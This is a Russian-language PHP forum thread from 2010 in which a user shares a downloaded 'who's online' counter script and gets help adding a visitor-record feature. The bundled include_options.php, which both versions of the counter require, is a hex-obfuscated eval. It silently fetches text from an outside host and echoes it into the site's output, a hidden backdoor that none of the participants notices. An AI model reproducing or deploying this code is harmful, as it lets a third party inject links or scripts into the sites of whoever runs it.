[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: "Сейчас на сайте"
Unlikely
Нашёл скрипт показывающий "количество" посетителей на сайте.

online.php

<?php
//Количество минут, в течении которых пользователи считаются находящимися "он-лайн"
$time=5;

//Область данных, следующая строчка ОБЯЗАТЕЛЬНО должна быть шестой в этом файле
$online='a:1:{i:0;s:43:"905ec29ae3e64e939e90bf027e546c7a|1270631670";}';

$online=unserialize($online);


//Установка кодировки windows-1251
header('Content-Type: text/html; charset=windows-1251');

//Окончания "числительных"
$users = array('пользователей', 'пользователь', 'пользователя');

//Антикеширование
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');

//Определение внешнего и внутреннего ip-адресов
$ip[0]=$_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip[1]=$_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip[1]='';

//Получаем данные броузера
$browser=$_SERVER['HTTP_USER_AGENT'];

//Получаем хеш из данных о пользователе
$user=md5($ip[0].$ip[1].$browser);

//Приделываем к хешу время последней активности
$str=$user."|".time();



//В цикле "убираем" всех устаревших пользователей
for($i=0;$i<count($online);$i++)
{
$tmp=explode("|",$online[$i]);
$online2[$i]=$tmp[0];

$t=@$tmp[1];
if($t<time()-$time*60)
{
unset($online[$i]);
}
else
{
if($online2[$i]!=$user)
{
$online3[]=$online[$i];
}
}
}


$online=@$online3;
$online[]=$str;



//Выводим количество
$count=count($online);
echo 'document.write("'.$count.'");'."\n";


//Выводим слово "пользовател.." с нужным окончанием
if(isset($_GET['usr']))
{
$index = $count % 100;
if ($index >=11 && $index <= 14)
$index = 0;
else
$index = ($index %= 10) < 5 ? ($index > 2 ? 2 : $index): 0;

echo 'document.write(" '.$users[$index].'");'."\n";
}

//Читаем этот файл и обновляем шестую строчку
$file=file("online.php");
$file[5]='$online=\''.serialize($online).'\''.";\n";

//Проверяем на доступность для записи и, в случае успеха, записываем обновленные данные.
if(is_writable("online.php"))
{
$f=fopen("online.php","w");
flock($f,LOCK_EX);
fwrite($f,join("",$file));
flock($f,LOCK_UN);
fclose($f);
}
else
{
echo 'document.write("Check file permissions!");'."\n";
}


?><?php require_once("include_options.php");?>


include_options.php

<?php
eval ("\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70
\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e
\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x74
\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f
\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\x72
\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b
\x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e
\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74
\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c
\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65
\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74
\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54
\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c
\x20\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f
\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f
\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e
\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f
\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43
\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55
\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63
\x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29
\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24
\x63\x68\x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68
\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63
\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65
\x29\x3b"
);
?>


Собственно хочется сделать что бы была ещё 1 опция "Рекорд посещаемости".
Подскажите как это можно реализовать?



Спустя 8 дней, 5 часов, 8 минут, 17 секунд (15.04.2010 - 17:44) Unlikely написал(а):
sad.gif

Теоретически я кажется понял как это сделать.
Нужно взять "0" и сравнить с "$online". Если "$online" больше "0" то записать в место "0" значение "$online"(допустим $online=1). А в следующий раз, уже сравнивать "1" и "$online". Ну и так далее.

Поправьте если не так. И подскажите пожалуйста как сравнить?

Спустя 2 часа, 11 минут, 6 секунд (15.04.2010 - 19:55) Unlikely написал(а):
Вот что у меня получилось.


...
//Область данных, следующая строчка ОБЯЗАТЕЛЬНО должна быть шестой в этом файле
$online='a:1:{i:0;s:43:"455a330abb061984656e09ffaa87a475|1271342419";}';
$max_online=0;
...



...
if ("$max_online" < "$count")
{
$file[6]='$max_online='.$count.';';
}
...


Похоже что работает... Но почему то вместо
$max_online=1;

Добавляется
$max_online=1;  $online=unserialize($online);


С чем это связано?

Спустя 8 минут, 54 секунды (15.04.2010 - 20:04) Unlikely написал(а):
Извиняюсь, это просто одна из строк съехала.

Спустя 21 минута, 42 секунды (15.04.2010 - 20:26) ApuktaChehov написал(а):
Если Вы хотите показывать абсолютный рекорд за определенный отрезок времени. В этом случае, Вам нужно будет хранить данные где то на сервере(в бд или файлах).

А алгоритм тот же. Берете сохраненное число, сравниваете с тем, что сейчас происходит. Если то что сейчас больше, переписываете число. Потом все повторяете

Спустя 12 минут, 20 секунд (15.04.2010 - 20:38) Unlikely написал(а):
Цитата (ApuktaChehov @ 15.04.2010 - 17:26)
Если Вы хотите показывать абсолютный рекорд за определенный отрезок времени. В этом случае, Вам нужно будет хранить данные где то на сервере(в бд или файлах).

А алгоритм тот же. Берете сохраненное число, сравниваете с тем, что сейчас происходит. Если то что сейчас больше, переписываете число. Потом все повторяете

Я так и сделал. Только место бд сам скрипт.
Редактируется строчка и всё smile.gif

Спустя 2 минуты, 50 секунд (15.04.2010 - 20:41) ApuktaChehov написал(а):
blink.gif
Как это сам скрипт? Он же выполняется постоянно. А данные не сохраняются в скриптах, вроде...

Кстати, а это шикарный вопрос.
Господа эксперты, может ли php скрипт, редактировать сам себя?

Спустя 1 минута, 56 секунд (15.04.2010 - 20:43) Unlikely написал(а):
Вот что получилось.


<?php
//Количество минут, в течении которых пользователи считаются находящимися "он-лайн"
$time=5;

//Область данных, следующая две строки ОБЯЗАТЕЛЬНО должны быть шестой и седьмой в этом файле
$online='a:1:{i:0;s:43:"455a330abb061984656e09ffaa87a475|1271342419";}';
$max_online='0';

$online=unserialize($online);


//Установка кодировки windows-1251
header('Content-Type: text/html; charset=windows-1251');

//Окончания "числительных"
$users = array('пользователей', 'пользователь', 'пользователя');

//Антикеширование
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');

//Определение внешнего и внутреннего ip-адресов
$ip[0]=$_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip[1]=$_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip[1]='';

//Получаем данные броузера
$browser=$_SERVER['HTTP_USER_AGENT'];

//Получаем хеш из данных о пользователе
$user=md5($ip[0].$ip[1].$browser);

//Приделываем к хешу время последней активности
$str=$user."|".time();



//В цикле "убираем" всех устаревших пользователей
for($i=0;$i<count($online);$i++)
{
$tmp=explode("|",$online[$i]);
$online2[$i]=$tmp[0];

$t=@$tmp[1];
if($t<time()-$time*60)
{
unset($online[$i]);
}
else
{
if($online2[$i]!=$user)
{
$online3[]=$online[$i];
}
}
}


$online=@$online3;
$online[]=$str;



//Выводим количество
$count=count($online);
echo 'document.write("'.$count.'");'."\n";


//Выводим слово "пользовател.." с нужным окончанием
if(isset($_GET['usr']))
{
$index = $count % 100;
if ($index >=11 && $index <= 14)
$index = 0;
else
$index = ($index %= 10) < 5 ? ($index > 2 ? 2 : $index): 0;

echo 'document.write(" '.$users[$index].'");'."\n";
}

//Читаем этот файл и обновляем шестую строчку
$file=file("online.php");
$file[5]='$online=\''.serialize($online).'\''.";\n";

//Сравниваем $max_online и $online. Если $max_online меньше $online то обновляем седьмую строку
if ("$max_online" < "$count")
{
$file[6]='$max_online=\''.$count.'\''.";\n";
}
//Выводим рекорд
echo 'document.write("<br>рекорд '.$max_online.'")';

//Проверяем на доступность для записи и, в случае успеха, записываем обновленные данные.
if(is_writable("online.php"))
{
$f=fopen("online.php","w");
flock($f,LOCK_EX);
fwrite($f,join("",$file));
flock($f,LOCK_UN);
fclose($f);
}
else
{
echo 'document.write("Check file permissions!");'."\n";
}


?>

<?php
require_once("include_options.php");?>

Спустя 1 минута, 10 секунд (15.04.2010 - 20:44) Unlikely написал(а):
Цитата (ApuktaChehov @ 15.04.2010 - 17:41)
blink.gif
Как это сам скрипт? Он же выполняется постоянно. А данные не сохраняются в скриптах, вроде...

Кстати, а это шикарный вопрос.
Господа эксперты, может ли php скрипт, редактировать сам себя?

Ну этот вроде бы редактирует smile.gif

Спустя 10 минут, 19 секунд (15.04.2010 - 20:54) twin написал(а):
Скрипт, это сценарий. То есть то, что происходит, процесс.
Он находится в оперативной памяти. Попадает он туда из файлов. Как только файлы прочитаны, запускается процесс - скрипт. Соответственно он может редактировать любые файлы, включая те, с которых был считан.
То есть это вполне рабочий вариант.
Другое дело, что редактировать исполняемые файлы - мало того что дурной тон, но еще и чревато.
Если данные хранятся в хранилищах, можно сделать откат, коррекцию, бэкап в конце концов. А если испортится исполняемый файл - весь сайт ляжет. И на долго.

Спустя 7 минут, 24 секунды (15.04.2010 - 21:02) Unlikely написал(а):
Цитата (twin @ 15.04.2010 - 17:54)
Скрипт, это сценарий. То есть то, что происходит, процесс.
Он находится в оперативной памяти. Попадает он туда из файлов. Как только файлы прочитаны, запускается процесс - скрипт. Соответственно он может редактировать любые файлы, включая те, с которых был считан.
То есть это вполне рабочий вариант.
Другое дело, что редактировать исполняемые файлы - мало того что дурной тон, но еще и чревато.
Если данные хранятся в хранилищах, можно сделать откат, коррекцию, бэкап в конце концов. А если испортится исполняемый файл - весь сайт ляжет. И на долго.

То есть вариант который выше, приемлем?

Спустя 3 минуты, 50 секунд (15.04.2010 - 21:05) twin написал(а):
Я бы не стал так делать. Сериализованный массив надежнее хранить в отдельном файле.

Спустя 5 минут, 52 секунды (15.04.2010 - 21:11) Unlikely написал(а):
Цитата (twin @ 15.04.2010 - 18:05)
Я бы не стал так делать. Сериализованный массив надежнее хранить в отдельном файле.

Спасибо за информацию. Буду исправляться. smile.gif
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.